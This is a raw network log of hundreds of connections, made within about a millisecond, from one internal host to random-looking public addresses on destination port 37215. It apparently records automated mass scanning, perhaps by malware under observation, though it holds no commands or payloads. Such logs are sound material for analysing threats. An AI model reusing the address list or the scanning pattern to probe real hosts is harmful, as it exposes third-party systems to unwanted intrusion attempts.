Jan 1, 2024 12:52:05.049166918 CET	37751	37215	192.168.2.13	197.200.211.68
Jan 1, 2024 12:52:05.049176931 CET	37751	37215	192.168.2.13	41.223.90.239
Jan 1, 2024 12:52:05.049177885 CET	37751	37215	192.168.2.13	190.210.145.121
Jan 1, 2024 12:52:05.049176931 CET	37751	37215	192.168.2.13	41.175.202.231
Jan 1, 2024 12:52:05.049179077 CET	37751	37215	192.168.2.13	41.14.21.8
Jan 1, 2024 12:52:05.049179077 CET	37751	37215	192.168.2.13	190.230.112.217
Jan 1, 2024 12:52:05.049180984 CET	37751	37215	192.168.2.13	92.52.72.23
Jan 1, 2024 12:52:05.049180984 CET	37751	37215	192.168.2.13	156.78.196.116
Jan 1, 2024 12:52:05.049180984 CET	37751	37215	192.168.2.13	197.53.22.27
Jan 1, 2024 12:52:05.049180984 CET	37751	37215	192.168.2.13	197.26.212.78
Jan 1, 2024 12:52:05.049180984 CET	37751	37215	192.168.2.13	197.10.171.14
Jan 1, 2024 12:52:05.049189091 CET	37751	37215	192.168.2.13	197.162.250.132
Jan 1, 2024 12:52:05.049189091 CET	37751	37215	192.168.2.13	45.255.75.126
Jan 1, 2024 12:52:05.049197912 CET	37751	37215	192.168.2.13	102.255.204.20
Jan 1, 2024 12:52:05.049201012 CET	37751	37215	192.168.2.13	95.255.29.96
Jan 1, 2024 12:52:05.049201965 CET	37751	37215	192.168.2.13	154.132.28.138
Jan 1, 2024 12:52:05.049201965 CET	37751	37215	192.168.2.13	41.253.118.120
Jan 1, 2024 12:52:05.049201965 CET	37751	37215	192.168.2.13	41.136.160.186
Jan 1, 2024 12:52:05.049206972 CET	37751	37215	192.168.2.13	197.26.54.45
Jan 1, 2024 12:52:05.049211025 CET	37751	37215	192.168.2.13	94.44.172.69
Jan 1, 2024 12:52:05.049211025 CET	37751	37215	192.168.2.13	197.210.80.227
Jan 1, 2024 12:52:05.049215078 CET	37751	37215	192.168.2.13	186.145.72.141
Jan 1, 2024 12:52:05.049215078 CET	37751	37215	192.168.2.13	37.106.218.148
Jan 1, 2024 12:52:05.049215078 CET	37751	37215	192.168.2.13	41.1.27.32
Jan 1, 2024 12:52:05.049215078 CET	37751	37215	192.168.2.13	197.64.163.220
Jan 1, 2024 12:52:05.049226046 CET	37751	37215	192.168.2.13	41.187.78.199
Jan 1, 2024 12:52:05.049227953 CET	37751	37215	192.168.2.13	41.159.153.32
Jan 1, 2024 12:52:05.049227953 CET	37751	37215	192.168.2.13	41.65.69.144
Jan 1, 2024 12:52:05.049227953 CET	37751	37215	192.168.2.13	156.251.248.74
Jan 1, 2024 12:52:05.049228907 CET	37751	37215	192.168.2.13	197.154.151.255
Jan 1, 2024 12:52:05.049238920 CET	37751	37215	192.168.2.13	196.25.176.136
Jan 1, 2024 12:52:05.049238920 CET	37751	37215	192.168.2.13	41.120.159.34
Jan 1, 2024 12:52:05.049238920 CET	37751	37215	192.168.2.13	156.15.42.235
Jan 1, 2024 12:52:05.049241066 CET	37751	37215	192.168.2.13	41.35.245.252
Jan 1, 2024 12:52:05.049241066 CET	37751	37215	192.168.2.13	197.122.12.90
Jan 1, 2024 12:52:05.049243927 CET	37751	37215	192.168.2.13	92.81.31.6
Jan 1, 2024 12:52:05.049243927 CET	37751	37215	192.168.2.13	95.189.241.135
Jan 1, 2024 12:52:05.049247026 CET	37751	37215	192.168.2.13	95.214.197.107
Jan 1, 2024 12:52:05.049263954 CET	37751	37215	192.168.2.13	41.83.116.136
Jan 1, 2024 12:52:05.049263954 CET	37751	37215	192.168.2.13	197.157.216.100
Jan 1, 2024 12:52:05.049264908 CET	37751	37215	192.168.2.13	197.72.22.163
Jan 1, 2024 12:52:05.049267054 CET	37751	37215	192.168.2.13	156.210.149.245
Jan 1, 2024 12:52:05.049280882 CET	37751	37215	192.168.2.13	197.176.201.227
Jan 1, 2024 12:52:05.049283028 CET	37751	37215	192.168.2.13	41.16.153.171
Jan 1, 2024 12:52:05.049284935 CET	37751	37215	192.168.2.13	138.204.27.49
Jan 1, 2024 12:52:05.049285889 CET	37751	37215	192.168.2.13	41.15.188.61
Jan 1, 2024 12:52:05.049295902 CET	37751	37215	192.168.2.13	197.31.124.113
Jan 1, 2024 12:52:05.049299002 CET	37751	37215	192.168.2.13	122.207.123.204
Jan 1, 2024 12:52:05.049309015 CET	37751	37215	192.168.2.13	157.177.134.52
Jan 1, 2024 12:52:05.049309015 CET	37751	37215	192.168.2.13	41.184.157.50
Jan 1, 2024 12:52:05.049310923 CET	37751	37215	192.168.2.13	156.84.254.223
Jan 1, 2024 12:52:05.049310923 CET	37751	37215	192.168.2.13	156.86.190.144
Jan 1, 2024 12:52:05.049323082 CET	37751	37215	192.168.2.13	181.99.70.175
Jan 1, 2024 12:52:05.049324989 CET	37751	37215	192.168.2.13	222.13.88.179
Jan 1, 2024 12:52:05.049324989 CET	37751	37215	192.168.2.13	222.216.101.75
Jan 1, 2024 12:52:05.049326897 CET	37751	37215	192.168.2.13	156.34.238.161
Jan 1, 2024 12:52:05.049326897 CET	37751	37215	192.168.2.13	92.153.135.141
Jan 1, 2024 12:52:05.049326897 CET	37751	37215	192.168.2.13	41.58.191.143
Jan 1, 2024 12:52:05.049328089 CET	37751	37215	192.168.2.13	41.240.163.64
Jan 1, 2024 12:52:05.049335003 CET	37751	37215	192.168.2.13	41.161.76.125
Jan 1, 2024 12:52:05.049335957 CET	37751	37215	192.168.2.13	94.219.230.4
Jan 1, 2024 12:52:05.049345016 CET	37751	37215	192.168.2.13	41.5.156.115
Jan 1, 2024 12:52:05.049345970 CET	37751	37215	192.168.2.13	181.11.240.88
Jan 1, 2024 12:52:05.049345970 CET	37751	37215	192.168.2.13	94.175.124.44
Jan 1, 2024 12:52:05.049345970 CET	37751	37215	192.168.2.13	41.249.178.233
Jan 1, 2024 12:52:05.049348116 CET	37751	37215	192.168.2.13	41.233.191.88
Jan 1, 2024 12:52:05.049357891 CET	37751	37215	192.168.2.13	156.141.161.157
Jan 1, 2024 12:52:05.049360991 CET	37751	37215	192.168.2.13	156.115.57.87
Jan 1, 2024 12:52:05.049360991 CET	37751	37215	192.168.2.13	197.122.66.210
Jan 1, 2024 12:52:05.049361944 CET	37751	37215	192.168.2.13	156.26.251.167
Jan 1, 2024 12:52:05.049361944 CET	37751	37215	192.168.2.13	156.169.84.44
Jan 1, 2024 12:52:05.049381971 CET	37751	37215	192.168.2.13	196.40.8.39
Jan 1, 2024 12:52:05.049382925 CET	37751	37215	192.168.2.13	154.204.61.123
Jan 1, 2024 12:52:05.049382925 CET	37751	37215	192.168.2.13	156.252.227.65
Jan 1, 2024 12:52:05.049384117 CET	37751	37215	192.168.2.13	41.52.128.37
Jan 1, 2024 12:52:05.049384117 CET	37751	37215	192.168.2.13	41.148.127.210
Jan 1, 2024 12:52:05.049385071 CET	37751	37215	192.168.2.13	41.162.124.31
Jan 1, 2024 12:52:05.049385071 CET	37751	37215	192.168.2.13	197.107.51.225
Jan 1, 2024 12:52:05.049391031 CET	37751	37215	192.168.2.13	197.96.13.97
Jan 1, 2024 12:52:05.049391031 CET	37751	37215	192.168.2.13	154.253.169.43
Jan 1, 2024 12:52:05.049391031 CET	37751	37215	192.168.2.13	197.95.89.94
Jan 1, 2024 12:52:05.049401045 CET	37751	37215	192.168.2.13	156.91.236.156
Jan 1, 2024 12:52:05.049403906 CET	37751	37215	192.168.2.13	41.182.21.155
Jan 1, 2024 12:52:05.049403906 CET	37751	37215	192.168.2.13	222.240.136.234
Jan 1, 2024 12:52:05.049403906 CET	37751	37215	192.168.2.13	157.226.135.251
Jan 1, 2024 12:52:05.049403906 CET	37751	37215	192.168.2.13	181.197.20.13
Jan 1, 2024 12:52:05.049408913 CET	37751	37215	192.168.2.13	41.46.144.3
Jan 1, 2024 12:52:05.049410105 CET	37751	37215	192.168.2.13	156.122.97.188
Jan 1, 2024 12:52:05.049408913 CET	37751	37215	192.168.2.13	197.255.166.53
Jan 1, 2024 12:52:05.049410105 CET	37751	37215	192.168.2.13	41.3.158.247
Jan 1, 2024 12:52:05.049412012 CET	37751	37215	192.168.2.13	156.103.47.177
Jan 1, 2024 12:52:05.049410105 CET	37751	37215	192.168.2.13	156.49.158.8
Jan 1, 2024 12:52:05.049422979 CET	37751	37215	192.168.2.13	197.2.142.59
Jan 1, 2024 12:52:05.049424887 CET	37751	37215	192.168.2.13	156.255.64.122
Jan 1, 2024 12:52:05.049426079 CET	37751	37215	192.168.2.13	197.19.249.138
Jan 1, 2024 12:52:05.049427032 CET	37751	37215	192.168.2.13	94.142.128.70
Jan 1, 2024 12:52:05.049427986 CET	37751	37215	192.168.2.13	45.114.172.9
Jan 1, 2024 12:52:05.049427986 CET	37751	37215	192.168.2.13	156.83.244.183
Jan 1, 2024 12:52:05.049438000 CET	37751	37215	192.168.2.13	41.157.78.153
Jan 1, 2024 12:52:05.049438000 CET	37751	37215	192.168.2.13	41.33.248.68
Jan 1, 2024 12:52:05.049438953 CET	37751	37215	192.168.2.13	138.22.102.237
Jan 1, 2024 12:52:05.049441099 CET	37751	37215	192.168.2.13	197.234.59.53
Jan 1, 2024 12:52:05.049441099 CET	37751	37215	192.168.2.13	156.100.86.94
Jan 1, 2024 12:52:05.049442053 CET	37751	37215	192.168.2.13	156.134.159.160
Jan 1, 2024 12:52:05.049443007 CET	37751	37215	192.168.2.13	41.242.32.242
Jan 1, 2024 12:52:05.049447060 CET	37751	37215	192.168.2.13	197.3.2.191
Jan 1, 2024 12:52:05.049448967 CET	37751	37215	192.168.2.13	156.122.124.238
Jan 1, 2024 12:52:05.049449921 CET	37751	37215	192.168.2.13	197.55.212.10
Jan 1, 2024 12:52:05.049449921 CET	37751	37215	192.168.2.13	197.254.41.207
Jan 1, 2024 12:52:05.049449921 CET	37751	37215	192.168.2.13	156.187.193.33
Jan 1, 2024 12:52:05.049458027 CET	37751	37215	192.168.2.13	120.118.54.118
Jan 1, 2024 12:52:05.049458981 CET	37751	37215	192.168.2.13	41.30.138.141
Jan 1, 2024 12:52:05.049458981 CET	37751	37215	192.168.2.13	197.61.11.33
Jan 1, 2024 12:52:05.049463987 CET	37751	37215	192.168.2.13	156.226.118.247
Jan 1, 2024 12:52:05.049463987 CET	37751	37215	192.168.2.13	41.41.251.236
Jan 1, 2024 12:52:05.049464941 CET	37751	37215	192.168.2.13	190.88.209.110
Jan 1, 2024 12:52:05.049468994 CET	37751	37215	192.168.2.13	156.27.156.168
Jan 1, 2024 12:52:05.049468994 CET	37751	37215	192.168.2.13	197.92.99.179
Jan 1, 2024 12:52:05.049478054 CET	37751	37215	192.168.2.13	156.152.15.175
Jan 1, 2024 12:52:05.049478054 CET	37751	37215	192.168.2.13	122.6.101.225
Jan 1, 2024 12:52:05.049479008 CET	37751	37215	192.168.2.13	41.149.206.82
Jan 1, 2024 12:52:05.049480915 CET	37751	37215	192.168.2.13	197.12.82.152
Jan 1, 2024 12:52:05.049489021 CET	37751	37215	192.168.2.13	92.110.229.5
Jan 1, 2024 12:52:05.049489021 CET	37751	37215	192.168.2.13	197.93.5.190
Jan 1, 2024 12:52:05.049489021 CET	37751	37215	192.168.2.13	41.251.33.1
Jan 1, 2024 12:52:05.049489021 CET	37751	37215	192.168.2.13	94.158.75.34
Jan 1, 2024 12:52:05.049489021 CET	37751	37215	192.168.2.13	197.111.237.121
Jan 1, 2024 12:52:05.049489021 CET	37751	37215	192.168.2.13	94.16.28.112
Jan 1, 2024 12:52:05.049506903 CET	37751	37215	192.168.2.13	186.186.182.125
Jan 1, 2024 12:52:05.049506903 CET	37751	37215	192.168.2.13	181.89.113.248
Jan 1, 2024 12:52:05.049513102 CET	37751	37215	192.168.2.13	197.198.94.226
Jan 1, 2024 12:52:05.049519062 CET	37751	37215	192.168.2.13	41.36.65.113
Jan 1, 2024 12:52:05.049525023 CET	37751	37215	192.168.2.13	156.44.41.125
Jan 1, 2024 12:52:05.049525976 CET	37751	37215	192.168.2.13	41.52.221.224
Jan 1, 2024 12:52:05.049535990 CET	37751	37215	192.168.2.13	196.124.170.184
Jan 1, 2024 12:52:05.049539089 CET	37751	37215	192.168.2.13	156.46.168.229
Jan 1, 2024 12:52:05.049549103 CET	37751	37215	192.168.2.13	41.73.109.231
Jan 1, 2024 12:52:05.049551964 CET	37751	37215	192.168.2.13	41.27.102.204
Jan 1, 2024 12:52:05.049556971 CET	37751	37215	192.168.2.13	197.149.174.178
Jan 1, 2024 12:52:05.049567938 CET	37751	37215	192.168.2.13	197.209.33.238
Jan 1, 2024 12:52:05.049580097 CET	37751	37215	192.168.2.13	41.168.57.3
Jan 1, 2024 12:52:05.049580097 CET	37751	37215	192.168.2.13	156.88.159.198
Jan 1, 2024 12:52:05.049595118 CET	37751	37215	192.168.2.13	156.234.195.133
Jan 1, 2024 12:52:05.049596071 CET	37751	37215	192.168.2.13	222.13.81.74
Jan 1, 2024 12:52:05.049597025 CET	37751	37215	192.168.2.13	197.0.203.236
Jan 1, 2024 12:52:05.049597025 CET	37751	37215	192.168.2.13	156.174.31.10
Jan 1, 2024 12:52:05.049597025 CET	37751	37215	192.168.2.13	157.64.180.119
Jan 1, 2024 12:52:05.049597025 CET	37751	37215	192.168.2.13	190.141.240.28
Jan 1, 2024 12:52:05.049609900 CET	37751	37215	192.168.2.13	107.106.242.253
Jan 1, 2024 12:52:05.049609900 CET	37751	37215	192.168.2.13	197.246.91.41
Jan 1, 2024 12:52:05.049611092 CET	37751	37215	192.168.2.13	197.47.206.218
Jan 1, 2024 12:52:05.049611092 CET	37751	37215	192.168.2.13	102.157.31.59
Jan 1, 2024 12:52:05.049612999 CET	37751	37215	192.168.2.13	37.252.254.198
Jan 1, 2024 12:52:05.049622059 CET	37751	37215	192.168.2.13	41.219.210.139
Jan 1, 2024 12:52:05.049626112 CET	37751	37215	192.168.2.13	186.26.16.69
Jan 1, 2024 12:52:05.049626112 CET	37751	37215	192.168.2.13	41.24.191.249
Jan 1, 2024 12:52:05.049631119 CET	37751	37215	192.168.2.13	197.133.41.117
Jan 1, 2024 12:52:05.049631119 CET	37751	37215	192.168.2.13	197.97.116.227
Jan 1, 2024 12:52:05.049633026 CET	37751	37215	192.168.2.13	156.226.161.56
Jan 1, 2024 12:52:05.049650908 CET	37751	37215	192.168.2.13	186.166.63.145
Jan 1, 2024 12:52:05.049652100 CET	37751	37215	192.168.2.13	41.13.121.58
Jan 1, 2024 12:52:05.049652100 CET	37751	37215	192.168.2.13	197.113.189.114
Jan 1, 2024 12:52:05.049654007 CET	37751	37215	192.168.2.13	45.30.57.157
Jan 1, 2024 12:52:05.049654961 CET	37751	37215	192.168.2.13	197.170.113.255
Jan 1, 2024 12:52:05.049654007 CET	37751	37215	192.168.2.13	41.156.149.172
Jan 1, 2024 12:52:05.049657106 CET	37751	37215	192.168.2.13	197.191.5.21
Jan 1, 2024 12:52:05.049654961 CET	37751	37215	192.168.2.13	41.106.50.125
Jan 1, 2024 12:52:05.049655914 CET	37751	37215	192.168.2.13	92.216.137.213
Jan 1, 2024 12:52:05.049654961 CET	37751	37215	192.168.2.13	197.103.55.84
Jan 1, 2024 12:52:05.049657106 CET	37751	37215	192.168.2.13	41.43.7.81
Jan 1, 2024 12:52:05.049655914 CET	37751	37215	192.168.2.13	107.79.105.212
Jan 1, 2024 12:52:05.049664974 CET	37751	37215	192.168.2.13	156.109.185.231
Jan 1, 2024 12:52:05.049678087 CET	37751	37215	192.168.2.13	41.161.16.106
Jan 1, 2024 12:52:05.049678087 CET	37751	37215	192.168.2.13	190.209.234.179
Jan 1, 2024 12:52:05.049678087 CET	37751	37215	192.168.2.13	156.236.149.105
Jan 1, 2024 12:52:05.049678087 CET	37751	37215	192.168.2.13	156.88.43.241
Jan 1, 2024 12:52:05.049679041 CET	37751	37215	192.168.2.13	196.225.177.65
Jan 1, 2024 12:52:05.049679041 CET	37751	37215	192.168.2.13	156.75.70.61
Jan 1, 2024 12:52:05.049678087 CET	37751	37215	192.168.2.13	186.221.221.88
Jan 1, 2024 12:52:05.049681902 CET	37751	37215	192.168.2.13	138.63.28.42
Jan 1, 2024 12:52:05.049685001 CET	37751	37215	192.168.2.13	156.38.8.98
Jan 1, 2024 12:52:05.049688101 CET	37751	37215	192.168.2.13	41.153.177.28
Jan 1, 2024 12:52:05.049688101 CET	37751	37215	192.168.2.13	156.233.173.36
Jan 1, 2024 12:52:05.049690008 CET	37751	37215	192.168.2.13	156.239.96.55
Jan 1, 2024 12:52:05.049690008 CET	37751	37215	192.168.2.13	154.221.125.67
Jan 1, 2024 12:52:05.049706936 CET	37751	37215	192.168.2.13	156.47.60.78
Jan 1, 2024 12:52:05.049710989 CET	37751	37215	192.168.2.13	197.25.159.168
Jan 1, 2024 12:52:05.049711943 CET	37751	37215	192.168.2.13	197.177.162.245
Jan 1, 2024 12:52:05.049712896 CET	37751	37215	192.168.2.13	156.130.12.125
Jan 1, 2024 12:52:05.049717903 CET	37751	37215	192.168.2.13	197.187.217.75
Jan 1, 2024 12:52:05.049721003 CET	37751	37215	192.168.2.13	197.48.181.207
Jan 1, 2024 12:52:05.049721003 CET	37751	37215	192.168.2.13	120.169.152.223
Jan 1, 2024 12:52:05.049722910 CET	37751	37215	192.168.2.13	41.250.52.8
Jan 1, 2024 12:52:05.049722910 CET	37751	37215	192.168.2.13	156.234.232.221
Jan 1, 2024 12:52:05.049722910 CET	37751	37215	192.168.2.13	197.90.142.173
Jan 1, 2024 12:52:05.049722910 CET	37751	37215	192.168.2.13	120.105.27.181
Jan 1, 2024 12:52:05.049740076 CET	37751	37215	192.168.2.13	156.136.152.20
Jan 1, 2024 12:52:05.049740076 CET	37751	37215	192.168.2.13	156.172.168.130
Jan 1, 2024 12:52:05.049743891 CET	37751	37215	192.168.2.13	45.232.225.169
Jan 1, 2024 12:52:05.049743891 CET	37751	37215	192.168.2.13	197.37.118.194
Jan 1, 2024 12:52:05.049745083 CET	37751	37215	192.168.2.13	120.187.127.135
Jan 1, 2024 12:52:05.049746990 CET	37751	37215	192.168.2.13	120.209.150.117
Jan 1, 2024 12:52:05.049746990 CET	37751	37215	192.168.2.13	222.125.82.36
Jan 1, 2024 12:52:05.049747944 CET	37751	37215	192.168.2.13	156.36.51.19
Jan 1, 2024 12:52:05.049750090 CET	37751	37215	192.168.2.13	138.80.32.135
Jan 1, 2024 12:52:05.049750090 CET	37751	37215	192.168.2.13	156.252.71.222
Jan 1, 2024 12:52:05.049750090 CET	37751	37215	192.168.2.13	45.83.148.177
Jan 1, 2024 12:52:05.049750090 CET	37751	37215	192.168.2.13	156.255.30.12
Jan 1, 2024 12:52:05.049755096 CET	37751	37215	192.168.2.13	197.11.245.110
Jan 1, 2024 12:52:05.049774885 CET	37751	37215	192.168.2.13	197.86.202.218
Jan 1, 2024 12:52:05.049774885 CET	37751	37215	192.168.2.13	41.188.93.175
Jan 1, 2024 12:52:05.049774885 CET	37751	37215	192.168.2.13	156.65.223.92
Jan 1, 2024 12:52:05.049777031 CET	37751	37215	192.168.2.13	222.246.22.153
Jan 1, 2024 12:52:05.049777031 CET	37751	37215	192.168.2.13	157.215.168.185
Jan 1, 2024 12:52:05.049777985 CET	37751	37215	192.168.2.13	197.229.207.112
Jan 1, 2024 12:52:05.049777985 CET	37751	37215	192.168.2.13	154.89.102.206
Jan 1, 2024 12:52:05.049777985 CET	37751	37215	192.168.2.13	196.211.20.33
Jan 1, 2024 12:52:05.049777985 CET	37751	37215	192.168.2.13	156.231.16.223
Jan 1, 2024 12:52:05.049777031 CET	37751	37215	192.168.2.13	156.185.104.211
Jan 1, 2024 12:52:05.049777985 CET	37751	37215	192.168.2.13	156.196.120.108
Jan 1, 2024 12:52:05.049777031 CET	37751	37215	192.168.2.13	197.87.142.122
Jan 1, 2024 12:52:05.049783945 CET	37751	37215	192.168.2.13	156.182.138.175
Jan 1, 2024 12:52:05.049798965 CET	37751	37215	192.168.2.13	156.101.34.101
Jan 1, 2024 12:52:05.049798965 CET	37751	37215	192.168.2.13	156.226.192.87
Jan 1, 2024 12:52:05.049799919 CET	37751	37215	192.168.2.13	41.140.201.169
Jan 1, 2024 12:52:05.049799919 CET	37751	37215	192.168.2.13	156.22.26.51
Jan 1, 2024 12:52:05.049801111 CET	37751	37215	192.168.2.13	156.176.51.225
Jan 1, 2024 12:52:05.049801111 CET	37751	37215	192.168.2.13	197.38.29.97
Jan 1, 2024 12:52:05.049803972 CET	37751	37215	192.168.2.13	41.243.121.216
Jan 1, 2024 12:52:05.049803972 CET	37751	37215	192.168.2.13	138.98.166.47
Jan 1, 2024 12:52:05.049806118 CET	37751	37215	192.168.2.13	197.113.107.67
Jan 1, 2024 12:52:05.049806118 CET	37751	37215	192.168.2.13	197.244.186.225
Jan 1, 2024 12:52:05.049814939 CET	37751	37215	192.168.2.13	37.15.238.174
Jan 1, 2024 12:52:05.049817085 CET	37751	37215	192.168.2.13	156.163.203.76
Jan 1, 2024 12:52:05.049817085 CET	37751	37215	192.168.2.13	37.84.115.33
Jan 1, 2024 12:52:05.049817085 CET	37751	37215	192.168.2.13	41.51.36.90
Jan 1, 2024 12:52:05.049818993 CET	37751	37215	192.168.2.13	197.107.84.1
Jan 1, 2024 12:52:05.049818993 CET	37751	37215	192.168.2.13	107.251.182.235
Jan 1, 2024 12:52:05.049819946 CET	37751	37215	192.168.2.13	154.220.62.155
Jan 1, 2024 12:52:05.049830914 CET	37751	37215	192.168.2.13	156.168.188.227
Jan 1, 2024 12:52:05.049830914 CET	37751	37215	192.168.2.13	160.152.16.25
Jan 1, 2024 12:52:05.049833059 CET	37751	37215	192.168.2.13	41.173.132.76
Jan 1, 2024 12:52:05.049833059 CET	37751	37215	192.168.2.13	197.167.90.195
Jan 1, 2024 12:52:05.049834967 CET	37751	37215	192.168.2.13	107.225.222.196
Jan 1, 2024 12:52:05.049835920 CET	37751	37215	192.168.2.13	156.212.53.137
Jan 1, 2024 12:52:05.049834967 CET	37751	37215	192.168.2.13	160.217.45.51
Jan 1, 2024 12:52:05.049835920 CET	37751	37215	192.168.2.13	41.6.74.10
Jan 1, 2024 12:52:05.049835920 CET	37751	37215	192.168.2.13	156.223.231.168
Jan 1, 2024 12:52:05.049846888 CET	37751	37215	192.168.2.13	41.174.166.172
Jan 1, 2024 12:52:05.049850941 CET	37751	37215	192.168.2.13	157.171.79.218
Jan 1, 2024 12:52:05.049850941 CET	37751	37215	192.168.2.13	197.126.82.52
Jan 1, 2024 12:52:05.049853086 CET	37751	37215	192.168.2.13	190.127.254.48
Jan 1, 2024 12:52:05.049854040 CET	37751	37215	192.168.2.13	41.99.81.129
Jan 1, 2024 12:52:05.049854040 CET	37751	37215	192.168.2.13	157.201.23.118
Jan 1, 2024 12:52:05.049860954 CET	37751	37215	192.168.2.13	156.114.157.200
Jan 1, 2024 12:52:05.049864054 CET	37751	37215	192.168.2.13	138.29.170.82
Jan 1, 2024 12:52:05.049864054 CET	37751	37215	192.168.2.13	94.203.208.134
Jan 1, 2024 12:52:05.049864054 CET	37751	37215	192.168.2.13	156.151.88.141
Jan 1, 2024 12:52:05.049873114 CET	37751	37215	192.168.2.13	92.166.204.93
Jan 1, 2024 12:52:05.049873114 CET	37751	37215	192.168.2.13	197.188.136.73
Jan 1, 2024 12:52:05.049874067 CET	37751	37215	192.168.2.13	92.199.89.58
Jan 1, 2024 12:52:05.049874067 CET	37751	37215	192.168.2.13	197.193.253.223
Jan 1, 2024 12:52:05.049874067 CET	37751	37215	192.168.2.13	156.231.94.37
Jan 1, 2024 12:52:05.049876928 CET	37751	37215	192.168.2.13	41.3.120.107
Jan 1, 2024 12:52:05.049881935 CET	37751	37215	192.168.2.13	41.251.98.188
Jan 1, 2024 12:52:05.049886942 CET	37751	37215	192.168.2.13	92.2.141.249
Jan 1, 2024 12:52:05.049886942 CET	37751	37215	192.168.2.13	197.96.148.206
Jan 1, 2024 12:52:05.049892902 CET	37751	37215	192.168.2.13	45.98.217.0
Jan 1, 2024 12:52:05.049892902 CET	37751	37215	192.168.2.13	37.63.70.120
Jan 1, 2024 12:52:05.049899101 CET	37751	37215	192.168.2.13	156.49.188.32
Jan 1, 2024 12:52:05.049899101 CET	37751	37215	192.168.2.13	197.173.197.28
Jan 1, 2024 12:52:05.049901009 CET	37751	37215	192.168.2.13	156.38.176.171
Jan 1, 2024 12:52:05.049902916 CET	37751	37215	192.168.2.13	41.112.138.191
Jan 1, 2024 12:52:05.049912930 CET	37751	37215	192.168.2.13	222.21.124.118
Jan 1, 2024 12:52:05.049916983 CET	37751	37215	192.168.2.13	107.124.17.152
Jan 1, 2024 12:52:05.049918890 CET	37751	37215	192.168.2.13	190.125.19.19
Jan 1, 2024 12:52:05.049920082 CET	37751	37215	192.168.2.13	156.178.70.206
Jan 1, 2024 12:52:05.049920082 CET	37751	37215	192.168.2.13	197.48.64.227
Jan 1, 2024 12:52:05.049921989 CET	37751	37215	192.168.2.13	181.67.94.164
Jan 1, 2024 12:52:05.049921989 CET	37751	37215	192.168.2.13	197.61.215.74
Jan 1, 2024 12:52:05.049937010 CET	37751	37215	192.168.2.13	95.76.66.219
Jan 1, 2024 12:52:05.049937963 CET	37751	37215	192.168.2.13	197.31.111.87
Jan 1, 2024 12:52:05.049943924 CET	37751	37215	192.168.2.13	197.75.32.69
Jan 1, 2024 12:52:05.049943924 CET	37751	37215	192.168.2.13	41.83.131.27
Jan 1, 2024 12:52:05.049943924 CET	37751	37215	192.168.2.13	156.192.69.175
Jan 1, 2024 12:52:05.049947977 CET	37751	37215	192.168.2.13	160.179.203.80
Jan 1, 2024 12:52:05.049947977 CET	37751	37215	192.168.2.13	197.144.211.27
Jan 1, 2024 12:52:05.049952030 CET	37751	37215	192.168.2.13	197.79.196.91
Jan 1, 2024 12:52:05.049952984 CET	37751	37215	192.168.2.13	156.166.209.221
Jan 1, 2024 12:52:05.049957037 CET	37751	37215	192.168.2.13	156.80.169.21
Jan 1, 2024 12:52:05.049967051 CET	37751	37215	192.168.2.13	160.220.128.56
Jan 1, 2024 12:52:05.049977064 CET	37751	37215	192.168.2.13	154.244.214.41
Jan 1, 2024 12:52:05.050000906 CET	37751	37215	192.168.2.13	41.226.5.49
Jan 1, 2024 12:52:05.050003052 CET	37751	37215	192.168.2.13	138.177.36.200
Jan 1, 2024 12:52:05.050004959 CET	37751	37215	192.168.2.13	156.179.49.40
Jan 1, 2024 12:52:05.050004959 CET	37751	37215	192.168.2.13	156.216.140.131
Jan 1, 2024 12:52:05.050013065 CET	37751	37215	192.168.2.13	94.144.76.149
Jan 1, 2024 12:52:05.050014019 CET	37751	37215	192.168.2.13	156.226.26.46
Jan 1, 2024 12:52:05.050015926 CET	37751	37215	192.168.2.13	41.213.86.72
Jan 1, 2024 12:52:05.050023079 CET	37751	37215	192.168.2.13	92.165.59.32
Jan 1, 2024 12:52:05.050026894 CET	37751	37215	192.168.2.13	186.120.215.108
Jan 1, 2024 12:52:05.050028086 CET	37751	37215	192.168.2.13	156.146.60.188
Jan 1, 2024 12:52:05.050028086 CET	37751	37215	192.168.2.13	41.228.36.198
Jan 1, 2024 12:52:05.050028086 CET	37751	37215	192.168.2.13	41.100.150.224
Jan 1, 2024 12:52:05.050044060 CET	37751	37215	192.168.2.13	41.168.107.242
Jan 1, 2024 12:52:05.050045013 CET	37751	37215	192.168.2.13	157.238.45.181
Jan 1, 2024 12:52:05.050048113 CET	37751	37215	192.168.2.13	92.214.38.40
Jan 1, 2024 12:52:05.050050020 CET	37751	37215	192.168.2.13	160.41.253.121
Jan 1, 2024 12:52:05.050050020 CET	37751	37215	192.168.2.13	156.210.14.114
Jan 1, 2024 12:52:05.050065994 CET	37751	37215	192.168.2.13	197.50.196.14
Jan 1, 2024 12:52:05.050065994 CET	37751	37215	192.168.2.13	197.21.225.94
Jan 1, 2024 12:52:05.050065994 CET	37751	37215	192.168.2.13	92.64.208.201
Jan 1, 2024 12:52:05.050065994 CET	37751	37215	192.168.2.13	120.203.139.91
Jan 1, 2024 12:52:05.050067902 CET	37751	37215	192.168.2.13	186.223.99.167
Jan 1, 2024 12:52:05.050069094 CET	37751	37215	192.168.2.13	41.227.46.255
Jan 1, 2024 12:52:05.050070047 CET	37751	37215	192.168.2.13	197.163.216.220
Jan 1, 2024 12:52:05.050070047 CET	37751	37215	192.168.2.13	197.167.92.162
Jan 1, 2024 12:52:05.050084114 CET	37751	37215	192.168.2.13	197.118.31.24
Jan 1, 2024 12:52:05.050086975 CET	37751	37215	192.168.2.13	41.217.137.175
Jan 1, 2024 12:52:05.050086975 CET	37751	37215	192.168.2.13	37.173.200.67
Jan 1, 2024 12:52:05.050090075 CET	37751	37215	192.168.2.13	41.228.139.235
Jan 1, 2024 12:52:05.050090075 CET	37751	37215	192.168.2.13	196.34.3.116
Jan 1, 2024 12:52:05.050090075 CET	37751	37215	192.168.2.13	92.201.2.234
Jan 1, 2024 12:52:05.050096035 CET	37751	37215	192.168.2.13	197.7.84.27
Jan 1, 2024 12:52:05.050096989 CET	37751	37215	192.168.2.13	156.188.94.243
Jan 1, 2024 12:52:05.050096989 CET	37751	37215	192.168.2.13	41.0.251.46
Jan 1, 2024 12:52:05.050105095 CET	37751	37215	192.168.2.13	197.225.194.199
Jan 1, 2024 12:52:05.050116062 CET	37751	37215	192.168.2.13	156.221.55.187
Jan 1, 2024 12:52:05.050116062 CET	37751	37215	192.168.2.13	94.128.60.66
Jan 1, 2024 12:52:05.050124884 CET	37751	37215	192.168.2.13	197.46.170.130
Jan 1, 2024 12:52:05.050126076 CET	37751	37215	192.168.2.13	37.242.58.141
Jan 1, 2024 12:52:05.050126076 CET	37751	37215	192.168.2.13	197.113.240.190
Jan 1, 2024 12:52:05.050127029 CET	37751	37215	192.168.2.13	41.76.108.195
